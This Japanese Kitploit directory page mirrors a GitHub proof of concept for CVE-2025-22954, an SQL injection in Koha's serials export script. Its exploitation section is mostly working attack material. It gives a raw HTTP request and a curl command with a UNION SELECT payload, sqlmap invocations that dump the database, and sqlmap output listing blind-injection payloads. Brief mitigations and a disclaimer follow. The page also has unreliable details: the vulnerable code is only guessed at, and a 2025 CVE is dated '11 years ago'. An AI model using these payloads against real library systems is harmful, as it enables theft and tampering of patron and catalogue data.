Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
CVE-2025-22954 — Koha CVE-2025-22954: lateissues-export.pl における SQLインジェクション | Kitploit
ツール/GitHubGitHub/randomrobbiebf/cve-2025-22954
脆弱性分析エクスプロイトウェブアプリケーション悪用ペネトレーションテスト学習と教育データベースセキュリティ
GitHubrandomrobbiebf/cve-2025-22954

CVE-2025-22954

Koha CVE-2025-22954: lateissues-export.pl における SQLインジェクション

リポジトリを見る
11年前未レビュー

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

Koha CVE-2025-22954: lateissues-export.pl における SQL インジェクション

概要

このリポジトリは、CVE-2025-22954 の概念実証(PoC)を含みます。これは、バージョン 24.11.02 より前の Koha における重大度(CVSS 10.0)の SQL インジェクション脆弱性です。この脆弱性は、/serials/lateissues-export.pl スクリプトによって呼び出される C4/Serials.pm の GetLateOrMissingIssues 関数に存在します。この脆弱性は、supplierid または serialid パラメータを介して悪用される可能性があります。

CVE IDCVE-2025-22954
CVSS v310.0(重大)
EPSS スコア0.03%(上位 5.26%)
公開日2025年3月12日
修正バージョンKoha 24.11.02
バグ参照Koha Bug #38829
リリースノートKoha 24.11.02 Release

脆弱性の詳細

この脆弱性は、lateissues-export.pl スクリプトの supplierid および serialid パラメータにおけるユーザー入力の安全でない処理に起因し、C4/Serials.pm の GetLateOrMissingIssues 関数に渡されます。この関数は、SQL クエリで使用する前にこれらの入力を適切にサニタイズまたはパラメータ化しないため、SQL インジェクション攻撃が可能になります。

影響を受けるコード

脆弱なスクリプト(lateissues-export.pl)には、次のコードが含まれています:

root@kitploit:~
my $supplierid = $query->param('supplierid');
my @serialids = $query->multi_param('serialid');

# ...

for my $serialid ( @serialids ) {
    my @missingissues = GetLateOrMissingIssues($supplierid, $serialid);
    # ...
    
    # update claim date to let one know they have looked at this missing item
    updateClaim($serialid);
}

C4/Serials.pm の GetLateOrMissingIssues 関数は、$supplierid および $serialid パラメータが適切なパラメータ化なしに SQL ステートメントに直接連結される、脆弱な SQL クエリ構築を含んでいる可能性があります。

概念実証(PoC)

この概念実証は、シリアルモジュールにアクセスできる認証済みユーザーが、この脆弱性を悪用して Koha データベースから機密データを抽出したり、基盤となるデータベースシステムへの不正アクセスを取得したりする方法を示しています。

前提条件

  • 脆弱な Koha インスタンス(24.11.02 より前)
  • lateissues-export.pl スクリプトへのアクセス

悪用手法

HTTP リクエスト方式

次の生の HTTP リクエストを使用して、この脆弱性を悪用できます:

root@kitploit:~
GET /cgi-bin/koha/serials/lateissues-export.pl?supplierid=1' UNION SELECT 1,2,3,4,5,6,7,8,9,10,11,12,user(),14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30 -- -&serialid=1&csv_profile=1 HTTP/1.1
Host: koha.example.com
User-Agent: Mozilla/5.0
Accept: text/html,application/xhtml+xml,application/xml
Connection: close

curl の使用

root@kitploit:~
curl -i -X GET "https://koha.example.com/cgi-bin/koha/serials/lateissues-export.pl?supplierid=1' UNION SELECT 1,2,3,4,5,6,7,8,9,10,11,12,user(),14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30 -- -&serialid=1&csv_profile=1" 

SQLMap の使用

SQLMap を使用して、この脆弱性の悪用を自動化できます。まず、有効な認証 Cookie を使用して脆弱なエンドポイントへのリクエストをキャプチャし、次に SQLMap を使用してインジェクションポイントを悪用します。

root@kitploit:~
# Save a request with valid cookies to request.txt
sqlmap -r request.txt -p supplierid --dbms=mysql --level=5 --risk=3 

request.txt ファイルの例:

root@kitploit:~
GET /cgi-bin/koha/serials/lateissues-export.pl?supplierid=1&serialid=1&csv_profile=1 HTTP/1.1
Host: koha.example.com
User-Agent: Mozilla/5.0
Accept: text/html,application/xhtml+xml,application/xml
Connection: close

SQLMap を使用して、この脆弱性を直接悪用することもできます:

root@kitploit:~
sqlmap -u "https://koha.example.com/cgi-bin/koha/serials/lateissues-export.pl?supplierid=1&serialid=1&csv_profile=1" \
  -p supplierid \
  --dbms=mysql \
  --dump
root@kitploit:~
GET parameter 'supplierid' is vulnerable. Do you want to keep testing the others (if any)? [y/N] n
sqlmap identified the following injection point(s) with a total of 59 HTTP(s) requests:
---
Parameter: supplierid (GET)
    Type: boolean-based blind
    Title: Boolean-based blind - Parameter replace (original value)
    Payload: supplierid=(SELECT (CASE WHEN (1285=1285) THEN 1 ELSE (SELECT 7101 UNION SELECT 6384) END))&serialid=5&serialid=7&csv_profile=1

    Type: time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
    Payload: supplierid=1 AND (SELECT 5817 FROM (SELECT(SLEEP(5)))eSKk)&serialid=5&serialid=7&csv_profile=1
---
[10:46:38] [INFO] the back-end DBMS is MySQL
[10:46:38] [CRITICAL] unable to connect to the target URL. sqlmap is going to retry the request(s)
web server operating system: Linux Ubuntu 19.10 or 20.04 or 20.10 (focal or eoan)
web application technology: Apache 2.4.41
back-end DBMS: MySQL >= 5.0.12 (MariaDB fork)
[10:46:40] [WARNING] HTTP error codes detected during run:

影響

この脆弱性により、認証済みの攻撃者は以下を実行できます:

  1. データベースから機密情報を抽出する
  2. データベース内のデータを変更する
  3. データベースサーバー上で任意のコマンドを実行する可能性がある
  4. 基盤となるオペレーティングシステムへのアクセスを取得する可能性がある

緩和策

この脆弱性に対する修正を含む Koha バージョン 24.11.02 以降に更新してください。

直ちに更新できない場合は、次の一時的な緩和策の実施を検討してください:

  1. /serials/lateissues-export.pl スクリプトへのアクセスを信頼できる IP アドレスのみに制限する
  2. このエンドポイントへの潜在的に悪意のあるリクエストをブロックする Web アプリケーションファイアウォール(WAF)ルールを実装する
  3. C4/Serials.pm ファイルを変更して、GetLateOrMissingIssues 関数内の SQL クエリを適切にパラメータ化する

倫理的考慮事項

この概念実証は、教育および防御目的でのみ提供されています。システムの脆弱性をテストする前に、必ず適切な許可を取得してください。

免責事項

著者は、この情報の不正使用について一切の責任を負いません。この概念実証は、所有しているシステム、またはテストする明示的な許可を得ているシステムでのみ使用してください。

ツールをダウンロード